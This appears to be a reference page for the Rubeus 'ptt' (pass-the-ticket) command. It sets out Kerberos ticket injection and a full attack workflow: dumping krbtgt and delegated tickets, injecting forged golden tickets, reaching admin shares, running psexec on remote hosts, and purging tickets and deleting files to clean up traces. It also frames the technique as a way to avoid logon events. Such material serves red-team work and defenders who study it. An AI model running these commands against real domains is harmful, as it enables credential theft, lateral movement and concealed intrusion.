Skip to main content
Pass-the-Ticket (PTT) is a fundamental technique for credential reuse in Kerberos environments, enabling the use of extracted or forged tickets without requiring password knowledge.

Overview

Pass-the-ticket (PTT) injects Kerberos tickets into logon sessions, enabling authentication to services using previously extracted or forged tickets. This technique bypasses traditional password-based authentication and is essential for lateral movement and privilege escalation.

Credential Reuse

Use extracted tickets without passwords

Session Targeting

Inject into current or specific sessions

Stealth Operations

Authenticate without triggering logon events

Injection Process

1

Ticket Validation

Verify ticket format and integrity before injection
2

Session Access

Access target logon session (current or specified LUID)
3

LSA Interaction

Interface with Local Security Authority for ticket storage
4

Cache Update

Store ticket in session credential cache
5

Authentication Ready

Ticket becomes available for service authentication

Syntax Variations

  • Basic Usage
  • Session Targeting
  • Workflow Integration
# Inject ticket from .kirbi file
Rubeus.exe ptt /ticket:C:\temp\admin.kirbi

# Inject with relative path
Rubeus.exe ptt /ticket:tickets\domain_admin.kirbi

# Inject multiple tickets
Rubeus.exe ptt /ticket:ticket1.kirbi
Rubeus.exe ptt /ticket:ticket2.kirbi

Required Parameters

ticket
string
required
Kerberos ticket to inject into the session

Optional Parameters

Ticket Types and Sources

  • Ticket Granting Tickets (TGTs)
  • Service Tickets (TGS)
  • Forged Tickets
# Inject extracted TGT
Rubeus.exe ptt /ticket:extracted_tgt.kirbi

# Inject forged golden ticket
Rubeus.exe ptt /ticket:golden_ticket.kirbi

# Test TGT functionality
Rubeus.exe asktgs /service:cifs/fileserver.corp.local /ptt
TGTs provide the most flexibility as they can be used to request any service ticket within their privilege scope.

Session Management

  • Current Session Operations
  • Cross-Session Operations
  • SYSTEM Session Access

Response Format

  • Successful Injection
  • Injection Warnings
  • Error Scenarios
[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] PAC Validation: SUCCESS
[*] Ticket Type: Service Ticket
[*] Target LUID: 0x12345
[*] Username: admin@CORP.LOCAL
[*] Domain: CORP.LOCAL
[*] LogonId: 0x12345
Import Status
string
Confirmation that ticket was successfully imported
PAC Validation
string
Validation status of Privilege Attribute Certificate
Ticket Information
object
Details about the imported ticket

Complete Integration Workflows

1

Ticket Acquisition

Obtain tickets through various methods:
# Extract from current system
Rubeus.exe dump /service:krbtgt /outfile:extracted.kirbi

# Extract via delegation
Rubeus.exe tgtdeleg /outfile:delegated.kirbi

# Monitor for new tickets
Rubeus.exe monitor /filteruser:admin
2

Ticket Injection

Inject acquired tickets into appropriate sessions:
# Inject into current session
Rubeus.exe ptt /ticket:acquired_ticket.kirbi

# Inject into specific session (if elevated)
Rubeus.exe ptt /ticket:admin_ticket.kirbi /luid:0x54321
3

Verification

Verify successful injection and test functionality:
# List current tickets
Rubeus.exe klist

# Describe injected ticket
Rubeus.exe describe /ticket:injected_ticket.kirbi

# Test service access
dir \\target.corp.local\c$
4

Service Usage

Use injected tickets for authentication:
# Access file shares
dir \\fileserver.corp.local\share

# Request additional service tickets
Rubeus.exe asktgs /service:http/webapp.corp.local

# Perform administrative tasks
psexec \\target.corp.local cmd
5

Operational Cleanup

Clean up traces when operations complete:
# Purge injected tickets
Rubeus.exe purge

# Verify cleanup
Rubeus.exe klist

# Remove ticket files
del *.kirbi

Advanced Usage Scenarios

  • Lateral Movement
  • Privilege Escalation
  • Persistence Operations

OPSEC Considerations

Detection Risk: Ticket injection can be monitored through various host-based and behavioral detection methods.
  • Detection Vectors
  • Evasion Techniques
  • Defensive Countermeasures

Troubleshooting

Integration with Other Commands

Ticket Extraction

Use dump, tgtdeleg, or monitor to obtain tickets for injection

Ticket Forgery

Inject golden, silver, or diamond tickets after creation

Session Management

Combine with logonsession and currentluid for session targeting

Access Validation

Use klist and describe to verify injection and ticket properties